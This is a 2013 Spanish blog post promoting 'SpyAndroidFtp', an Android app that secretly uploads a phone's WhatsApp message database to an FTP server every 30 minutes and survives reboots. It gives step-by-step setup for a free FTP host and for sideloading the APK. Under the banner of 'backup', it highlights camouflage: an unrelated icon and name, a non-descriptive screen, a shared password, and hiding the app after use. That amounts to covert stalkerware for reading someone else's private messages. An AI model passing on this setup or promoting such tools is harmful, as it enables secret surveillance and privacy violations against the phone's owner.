miércoles, 10 de julio de 2013

SpyAndroidFtp: Backup diario de tus conversaciones de Whatsapp a un servidor FTP

ACTUALIZACION(10/04/2014): Atencion, han hecho actualizaciones en whatsapp, y es probable que la aplciacion no funcione correctamente con las ultimas versiones de whatsapp. Estaré trabajando mientras tanto, para solucionarlo. 

Con el fin de automatizar el proceso de recuperación de la base de datos de whatsapp y adentrarme un poco en esto de la programación de aplicaciones para smartphones.
Anteriormente escribí unas entradas sobre como obtener las base de datos de whatsapp en Android
http://gonzac-studios.blogspot.com.ar/2012/03/hack-obtener-mensajes-de-whatsapp.html
y como desencriptar estas mismas.
http://gonzac-studios.blogspot.com.ar/2012/06/hack-desencriptar-y-obtener-datos-de.html
Incluso subí un programa para extraer y ordenar las conversaciones para una mejor lectura.

Pero tener que buscar la base de datos, conectar al equipo y pasarlos manualmente me parecía algo tedioso, si lo que se quiere es tener un respaldo en el PC. Entonces se me ocurrió, porque no mejor que una aplicación realice un respaldo cada cierto tiempo y lo envié a un servidor. Y que ademas sea transparente para el usuario.

SpyAndroidFtp (aun esta en su versión beta), te permite mantener un respaldo de tu base de datos de whatsapp 'msgstore.db.crypt' que son subidas cada 30 minutos a un servidor FTP en el cual tengamos cuenta. Ademas de hacer una recopilación del estado de red actual de nuestro smartphone, en caso de estar conectado por wifi y así mantener una estadística de la distancia, uso y redes.
Solo se requiere abrir la aplicación una sola vez para cargar los datos del servidor, y al salir un servicio seguirá enviando los archivos, incluso luego de encender y apagar el smartphone.

Screenshots:
Icono SpyAndroidFtp   


  • Camuflaje:Icono y nombre, no relacionado. Pantalla principal, texto y titulo no descriptivo. contraseña de seguridad única. (openyourmind)

 
  • Interfaz simple, comprobación del usuario, estado de la conexión y envió de datos.

DESCARGA: LINK

Configurar nuestro servidor
Para ello, no se requiere grandes conocimientos. Solo usaremos un web hosting gratuito cualquiera.
Yo voy a usar de ejemplo 000webhost.com , pero ustedes pueden utilizar cualquier otro incluso uno servidor propio o hosting de pago.

1-Elegimos "Free Hosting" y hacemos click en "Order now"

 2-Completamos los datos, donde dice "yourdomain.com" no lo tocamos, es solo si tenemos un dominio propio. Abajo completamos con el nombre que queramos, en mi caso "spyandroid", luego el nombre de usuario y contraseña.

3-Una vez confirmado el mail, nos logeamos y debemos entrar al CPanel "Go to CPanel"

4-En el CPanel, vamos a la parte "Files"  y luego a "View FTP Details"

5-Podremos ver los datos y cambiar la contraseña de nuestro FTP, recuerden anotarlos son los que usará el SpyAndroidFtp.
 

6- Volviendo al CPanel, en la parte "Files" tenemos también el "File Manager" donde podremos ver los archivos subidos luego de que configuremos el SpyAndroidFtp, y descargarlos. Pueden sino, descargar un programa como el "Filezilla" y loguearse con los datos del FTP y así no tener que abrir la pagina.

Instalar aplicaciones desde la sdcard
Una vez descargada la aplicación y copiada a la tarjeta de memoria del smartphone, solo hay que tener habilitada la opción instalar aplicaciones desde orígenes desconocidos, entrando a la parte de configuración,  a "ajustes"->"aplicaciones" y marcar la casilla.

E instalarlas desde el explorador de internet, escribiendo la direccion "file:///sdcard/spyandroidftp.apk"
también pueden usar un explorador de archivos, o aplicación para tal fin.

Aclaración: Al iniciar la aplicación va a pedir la contraseña (openyourmind), la primera vez que ingresen los datos puede que surja un error, volverá a la pantalla inicial y deberán colocar nuevamente los datos. Y no deberían tener ningún problema. Recuerden salir, de la pantalla con los botones para tal fin, así no queda a la vista.